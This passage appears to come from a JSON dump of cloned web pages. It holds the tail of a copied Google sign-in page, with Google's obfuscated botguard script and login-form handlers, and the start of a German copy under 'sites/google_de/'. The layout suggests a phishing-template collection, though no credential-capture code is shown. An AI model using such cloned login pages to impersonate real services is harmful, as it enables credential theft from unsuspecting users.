\r\nD.R(X))+0)}),w)(D,235,[]),w)(D,4,2048),w)(D,64,function(D,n,X){(X=(n=g(D),g)(D),w)(D,X,\"\"+D.R(n))}),D).c=function(D,n){((n.push(D[0]<<24|D[1]<<16|D[2]<<8|D[3]),n).push(D[4]<<24|D[5]<<16|D[6]<<8|D[7]),n).push(D[8]<<24|D[9]<<16|D[10]<<8|D[11])},w(D,48,function(D){S(D,4)}),w(D,140,L),w)(D,243,function(D,n,X,l,A){X=(A=(X=(n=g(D),g)(D),l=D.R(g(D)),D).R(g(D)),D).R(X),w(D,n,V(D,X,l,A))}),D.i=false,w(D,139,function(D){H(D,4)}),w(D,203,function(D,n,X,l,A,b,J){Y(D,1)||(n=e(D),A=n.W,l=n.M,X=n.s,J=X.length,0==J?b=new\r\n l[A]:1==J?b=new l[A](X[0]):2==J?b=new l[A](X[0],X[1]):3==J?b=new \r\nl[A](X[0],X[1],X[2]):4==J?b=new \r\nl[A](X[0],X[1],X[2],X[3]):I(D,22),w(D,n.X,b),Y(D,0))}),w(D,222,[]),w)(D,54,D),w(D,115,function(D,n,X){n=(n=g(D),X=g(D),D.N[n]&&D.R(n)),w(D,X,n)}),w)(D,86,function(D,n,X,l,A){for(n=g(D),X=C(D),A=0,l=[];A<X;A++)l.push(g(D));w(D,n,l)}),w)(D,21,0),X.Y)||function(){},w)(D,170,function(){}),w(D,212,function(D,n,X){Y(D,1)||(n=g(D),X=g(D),w(D,X,function(D){return\r\n \r\neval(D)}(D.R(n))),Y(D,0))}),D.S=[],w(D,163,function(D,n){Y(D,1)||(n=e(D),w(D,n.X,n.W.apply(n.M,n.s)),Y(D,0))}),w(D,43,function(D){D.D(4)}),w)(D,55,0),w(D,217,function(D,n,X,l,A,b,J,a,T,k){if(l=(X=(n=g(D),C(D)),\"\"),void\r\n \r\n0!=D.N[224])for(A=D.R(224),J=A.length,b=0;X--;)b=(b+C(D))%J,l+=A[b];else{for(l=(A=0,[]);A<X;A++)l.push(g(D));for(b=A=(X=[],0);A<l.length;)J=l[A++],128>J?X[b++]=String.fromCharCode(J):191<J&&224>J?(a=l[A++],X[b++]=String.fromCharCode((J&31)<<6|a&63)):239<J&&365>J?(a=l[A++],T=l[A++],k=l[A++],J=((J&7)<<18|(a&63)<<12|(T&63)<<6|k&63)-65536,X[b++]=String.fromCharCode(55296+(J>>10)),X[b++]=String.fromCharCode(56320+(J&1023))):(a=l[A++],T=l[A++],X[b++]=String.fromCharCode((J&15)<<12|(a&63)<<6|T&63));l=X.join(\"\")}w(D,n,l)}),w)(D,210,function(D){S(D,1)}),w)(D,18,function(D,n,X){(X=(n=g(D),g(D)),w)(D,X,D.R(X)+D.R(n))}),w(D,74,74),w(D,215,function(D,n){(D=(n=g(D),D).R(n),D[0]).removeEventListener(D[1],D[2],false)}),w)(D,187,function(D,n,X,l){l=(X=(n=g(D),g(D)),g)(D),w(D,l,D.R(n)>>X)}),w)(D,76,0),D.K=[],w(D,142,p(4)),w(D,129,function(D,n,X,l,A){l=(X=(n=(l=(n=g(D),X=g(D),g)(D),D.R(n)),A=D.R(g(D)),D).R(X),D.R(l)),0!==n&&(l=V(D,l,A,1,n,X),n.addEventListener(X,l,q),w(D,55,[n,X,l]))}),w)(D,56,function(D,n,X){(X=(n=g(D),g(D)),n=D.R(n),w)(D,X,m(n))}),w)(D,165,function(D,n,X,l){(l=(X=(n=g(D),g)(D),g(D)),D.R(n)==D.R(X))&&w(D,l,D.R(l)+1)}),w)(D,96,0),w)(D,34,function(D,n){(n=D.R(g(D)),E)(D,n)}),w(D,80,function(D,n,X){0!=(X=(n=g(D),g)(D),D.R(n))&&w(D,31,D.R(X))}),w(D,162,{}),w)(D,229,function(D,n,X,l){if(n=D.K.pop()){for(X=g(D);0<X;X--)l=g(D),n[l]=D.N[l];n[222]=D.N[222],n[4]=D.N[4],D.N=n}else\r\n \r\nw(D,31,D.a.length)}),w(D,137,function(D){H(D,1)}),w(D,174,function(D,n,X,l,A){for(n=[],X=g(D),l=0;l<X;l++)A=g(D),n.push(D.R(A));X=g(D),w(D,X,function(D,X){D.v++;try{for(X=0;X<n.length;X++)(0,n[X])(D)}finally{D.v--}})}),w(D,103,function(D){D.i&&K(D,0)}),w(D,127,function(D){H(D,2)}),w)(D,245,function(D,n,X,l){(l=(n=g(D),X=g(D),g(D)),w)(D,l,D.R(n)||D.R(X))}),n&&\"!\"==n.charAt(0))?(D.Z=n,l()):(X=!!X.Y,D.i=X,D.a=[],G(D,[4,n]),G(D,[5,l]),v(D,false,X,true))},t=function(D,n,X,l,Z,r,M,B,A){D.v++;try{for(X=(l=5001,M=(r=void\r\n \r\n0,0),Z=20,D.a.length);(--l||D.H)&&(M=D.R(31))<X;)try{w(D,95,M),B=g(D),(r=D.R(B))&&r.call?r(D):I(D,21,0,B),0>Z--&&(Y(D,0),Z=20)}catch(b){b!=D.F&&(A=D.R(74),74!=A?(w(D,A,b),w(D,74,74)):I(D,22,b))}l||I(D,33)}catch(b){try{I(D,22,b)}catch(J){O(D,J)}}return\r\n \r\nX=D.R(162),n&&w(D,31,n),D.v--,X},W=function(D,n,X,l,Z){for(;D.S.length;){if(X&&n&&d(D)){Z=D,D.j(function(){v(Z,false,n,false)});break}l=(l=(X=true,D.S.pop()),h(D,l))}return\r\n l},w=function(D,n,X){if(31==n||95==n)if(D.N[n])D.N[n][D.B](X);else \r\nD.N[n]=D.P(X);else \r\nif(97!=n&&142!=n&&235!=n&&222!=n||!D.N[n])D.N[n]=D.I(X,D.R);21==n&&(D.g=void\r\n \r\n0,w(D,31,D.R(31)+4))},S=function(D,n,X,l){(l=(X=g(D),g(D)),c)(D,l,y(D.R(X),n))},e=function(D,n,X,l,Z,r){for(r=(Z=(X=(n={},g)(D),n.X=g(D),n.s=[],l=g(D)-1,g(D)),0);r<l;r++)n.s.push(g(D));for(n.W=D.R(X),n.M=D.R(Z);l--;)n.s[l]=D.R(n.s[l]);return\r\n \r\nn},O=function(D,n){D.Z=(\"E:\"+n.message+\":\"+n.stack).slice(0,2048)},g=function(D,n,X){if(n=D.R(31),!(n\r\n in D.a))throw I(D,31),D.F;return((void 0==D.g&&(D.g=f(D.a,n-4),D.U=void\r\n \r\n0),D).U!=n>>3&&(D.U=n>>3,X=[0,0,0,D.R(21)],D.u=P(D.g,D.U,X)),w)(D,31,n+1),D.a[n]^D.u[n%8]},I=function(D,n,X,l,Z){(X=(l=((Z=D.R(95),n=[n,Z>>8&255,Z&255],void\r\n 0!=l&&n.push(l),0)==D.R(222).length&&(D.N[222]=void \r\n0,w(D,222,n)),\"\"),X&&(X.message&&(l+=X.message),X.stack&&(l+=\":\"+X.stack)),D).R(4),3<X)&&(l=l.slice(0,X-3),X-=l.length+3,l=F(l.replace(/\\\\r\\\\n/g,\"\\\\n\")),c(D,142,y(l.length,2).concat(l),12)),w(D,4,X)},Q=function(D,n){try{N(this,D,n)}catch(X){O(this,X)}},C=(((((Q.prototype.G=function(D,n,X,l,Z){if(4==(n=D[0],n)){D=D[1];try{for(l=n=(X=atob(D),D=[],0);l<X.length;l++){for(Z=X.charCodeAt(l);255<Z;)D[n++]=Z&255,Z>>=8;D[n++]=Z}this.a=D}catch(r){I(this,17,r)}t(this)}else\r\n \r\nif(1==n)X=D[2],Z=D[1],X.push(this.R(97).length,this.R(142).length,this.R(235).length,this.R(4)),this.i=Z,w(this,162,D[3]),this.N[247]&&x(this,this.R(247));else{if(2==n){if(D=((Z=(((n=(Z=((D=y((X=D[2],this.R(97).length+2),2),Z=this.R(222),0<Z.length)&&c(this,97,y(Z.length,2).concat(Z),15),this.R(76))&511,Z-=this.R(97).length+5,this).R(142),4)<n.length&&(Z-=n.length+3),0<Z)&&c(this,97,y(Z,2).concat(p(Z)),10),4<n.length&&c(this,97,y(n.length,2).concat(n),153),p(2).concat(this.R(97))),Z[1]=Z[0]^3,Z[3]=Z[1]^D[0],Z)[4]=Z[1]^D[1],window).btoa){for(l=0,n=\"\";l<Z.length;l+=8192)n+=String.fromCharCode.apply(null,Z.slice(l,l+8192));D=D(n).replace(/\\\\+/g,\"-\").replace(/\\\\//g,\"_\").replace(/=/g,\"\")}else\r\n D=void 0;if(D)D=\"!\"+D;else \r\nfor(n=0,D=\"\";n<Z.length;n++)l=Z[n][this.B](16),1==l.length&&(l=\"0\"+l),D+=l;return((this.R(97).length=X[0],this.R(142).length=X[1],this.R(235)).length=X[2],Z=D,w)(this,4,X[3]),Z}if(3==n)x(this,D[1]);else\r\n if(6==n)return \r\nx(this,D[1])}},Q.prototype).f=\"caller\",Q.prototype).C=(window.performance||{}).now?function(){return\r\n window.performance.now()|0}:function(){return+new \r\nDate},Q.prototype).B=\"toString\",Q).prototype.j=L.requestIdleCallback?function(D){requestIdleCallback(D,{timeout:4})}:L.setImmediate?function(D){setImmediate(D)}:function(D){setTimeout(D,0)},function(D,n){return(n=g(D),n&128)&&(n=n&127|g(D)<<7),n}),v=(Q.prototype.o=function(D,n,X,l){try{l=D[(n+2)%3],D[n]=D[n]-D[(n+1)%3]-l^(1==n?l<<X:l>>>X)}catch(Z){throw\r\n Z;}},function(D,n,X,l,Z,r){if(0==D.S.length)return \r\nr;if(Z=0==D.v)D.l=D.C();return(r=W(D,X,l),Z)&&(X=D.C()-D.l,X<(n?10:0)||0>=D.O--||D.A.push(254>=X?X:254)),r}),K=(Q.prototype.D=function(D,n,X,l){(((l=(X=(D&=(n=D&4,3),g)(this),g(this)),X=this.R(X),n)&&(X=F((\"\"+X).replace(/\\\\r\\\\n/g,\"\\\\n\"))),D)&&c(this,l,y(X.length,2)),c)(this,l,X)},function(D,n){((n=D.R(31)-n,w)(D,31,D.a.length),D).S.push([3,n])}),E=((Q.prototype.b=35,Q).prototype.zS=function(D,n,X,l,Z,r){for(r=l=(X=[],0);r<D.length;r++)for(Z=Z<<n|D[r],l+=n;7<l;)l-=8,X.push(Z>>l&255);return\r\n X},function(D,n){(D.K.push(D.N.slice()),D).N[31]=void \r\n0,w(D,31,n)}),c=function(D,n,X,l,Z,r){for((Z=D.R(n),142==n?(n=function(D,n,X,l){if((X=(n=Z.length,n)-4>>3,Z.V)!=X){X=((l=(Z.V=X,[0,0,0,r]),X)<<3)-4;try{Z.$=P(f(Z,X),f(Z,X+4),l)}catch(J){throw\r\n \r\nJ;}}Z.push(Z.$[n&7]^D)},r=D.R(96)):n=function(D){Z.push(D)},l)&&n(l&255),l=0,D=X.length;l<D;l++)n(X[l])},q=false,H=function(D,n,X,l){for(X=g(D),l=0;0<n;n--)l=l<<8|g(D);w(D,X,l)},f=function(D,n){return\r\n \r\nD[n]<<24|D[n+1]<<16|D[n+2]<<8|D[n+3]},x=(Q.prototype.T=function(D,n,X,l,Z,r){if(this.Z)return\r\n \r\nthis.Z;try{Z=[],r=[],l=!!D,G(this,[1,l,Z,n]),G(this,[2,D,Z,r]),v(this,false,l,true),X=r[0]}catch(M){O(this,M),X=this.Z,D&&D(X)}return\r\n \r\nX},function(D,n,X){return((X=D.R(31),D.a&&X<D.a.length)?(w(D,31,D.a.length),E(D,n)):w(D,31,n),t)(D,X)}),V=function(D,n,X,l,Z,r){return\r\n function(){var M,B=l&1,A=[6,n,X,void 0,Z,r,arguments];return \r\nl&2?(G(D,A),M=v(D,true,false,false)):B&&D.S.length?G(D,A):B?(G(D,A),v(D,true,false,false)):M=h(D,A),M}},Y=(((Q.prototype.Nd=function(D,n,X,l){for(;X--;)31!=X&&95!=X&&n.N[X]&&(n.N[X]=n[l](n[D](X),this));n[D]=this},Q).prototype.h=36,Q.prototype).w=function(D,n,X){return(n=(n^=n<<13,n^=n>>17,(n^n<<5)&X))||(n=1),D^n},function(D,n){if(0>=D.J||1<D.v||D.C()-D.l<D.J)return\r\n false;return \r\nD.L=true,K(D,n),true}),d=(Q.prototype.H=false,function(D){if(D.J){if(!D.L)return\r\n false;D.L=false}else if(10>D.C()-D.l)return false;return \r\n0!=document.hidden?false:true});(((Q.prototype.Ro=function(D,n,X,l,Z){for(Z=l=0;Z<D.length;Z++)l+=D.charCodeAt(Z),l+=l<<10,l^=l>>6;return(l=(D=(l+=l<<3,l^=l>>11,l)+(l<<15)>>>0,new\r\n \r\nNumber(D&(1<<n)-1)),l)[0]=(D>>>n)%X,l},Q.prototype).R=function(D,n){if(void\r\n 0===(n=this.N[D],n))throw I(this,30,0,D),this.F;return \r\nn()},Q.prototype).m=function(D,n,X){if(3==D.length){for(X=0;3>X;X++)n[X]+=D[X];for(D=[13,8,13,12,16,5,3,10,(X=0,15)];9>X;X++)n[3](n,X%3,D[X])}},Q).prototype.F={};try{window.addEventListener(\"unload\",function(){},q),window.addEventListener(\"test\",null,Object.defineProperty({},\"passive\",{get:function(){q={passive:true}}}))}catch(D){}var\r\n \r\nU=(L.botguard||(L.botguard={}),L.botguard);(U.BKG=function(D,n,X){(X=new\r\n \r\nQ(D,{Y:n}),this).invoke=function(D,n,r){return(r=X.T(n&&D,r),D)&&!n&&D(r),r}},U).bg=function(D,n,X){return\r\n D&&D.substring&&(X=U[D.substring(0,3)])?new X(D.substring(3),n):new \r\nU.BKG(D,n)};')();</script>\r\n  <script type=\"text/javascript\">\r\n  document.bg = new \r\nbotguard.bg('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');\r\n\r\n  </script>\r\n<script>\r\n  (function() {\r\n  function gaia_setFocus() {\r\n  var form = null;\r\n  if (document.getElementById) {\r\n  form = document.getElementById('gaia_loginform');\r\n  }\r\n  if (form && form.Passwd) {\r\n  form.Passwd.focus();\r\n  }\r\n  }\r\n  if (!/iPad|iPhone|iPod/.test(navigator.userAgent)) {\r\n  gaia_attachEvent(window, 'load', gaia_setFocus);\r\n  }\r\n  })();\r\n</script>\r\n<script>\r\n  var gaia_scrollToElement = function(element) {\r\n  var calculateOffsetHeight = function(element) {\r\n  var curtop = 0;\r\n  if (element.offsetParent) {\r\n  while (element) {\r\n  curtop += element.offsetTop;\r\n  element = element.offsetParent;\r\n  }\r\n  }\r\n  return curtop;\r\n  }\r\n  var siginOffsetHeight = calculateOffsetHeight(element);\r\n  var scrollHeight = siginOffsetHeight - window.innerHeight +\r\n  element.clientHeight + 0.02 * window.innerHeight;\r\n  window.scroll(0, scrollHeight);\r\n  }\r\n</script>\r\n<script>\r\n  function gaia_onLoginSubmit() {\r\n  try {\r\n  gaia.loginAutoRedirect.stop();\r\n  } catch (err) {\r\n  // do not prevent form from being submitted\r\n  }\r\n  try {\r\n  document.bg.invoke(function(response) {\r\n  document.getElementById('bgresponse').value = response;\r\n  });\r\n  } catch (err) {\r\n  document.getElementById('bgresponse').value = '';\r\n  }\r\n  return true;\r\n  }\r\n  document.getElementById('gaia_loginform').onsubmit = gaia_onLoginSubmit;\r\n  var signinButton = document.getElementById('signIn');\r\n  gaia_attachEvent(window, 'load', function(){\r\n  gaia_scrollToElement(signinButton);\r\n  });\r\n</script>\r\n  \r\n\r\n</body></html>"
  },
  {
    "path": "sites/google_de/final.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n  <meta charset=\"utf-8\">\r\n  <meta content=\"width=300, initial-scale=1\" name=\"viewport\">\r\n  <meta name=\"robots\" content=\"noindex\">\r\n  <meta name=\"google-site-verification\" content=\"LrdTUW9psUAMbh4Ia074-BPEVmcpBxF6Gwf0MSgQXZs\">\r\n  <title>Anmelden – Google Konten</title>\r\n  <style>\r\n  /* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTa-j2U0lmluP9RWlSytm3ho.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTZX5f-9o1vgP2EXwfjgl7AY.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTRWV49_lSm1NYrwo-zkhivY.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTaaRobkAwv3vxw3jMhVENGA.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTf8zf_FOSsgRmwsS7Aa9k2w.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTT0LW-43aMEzIO6XUTLjad8.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 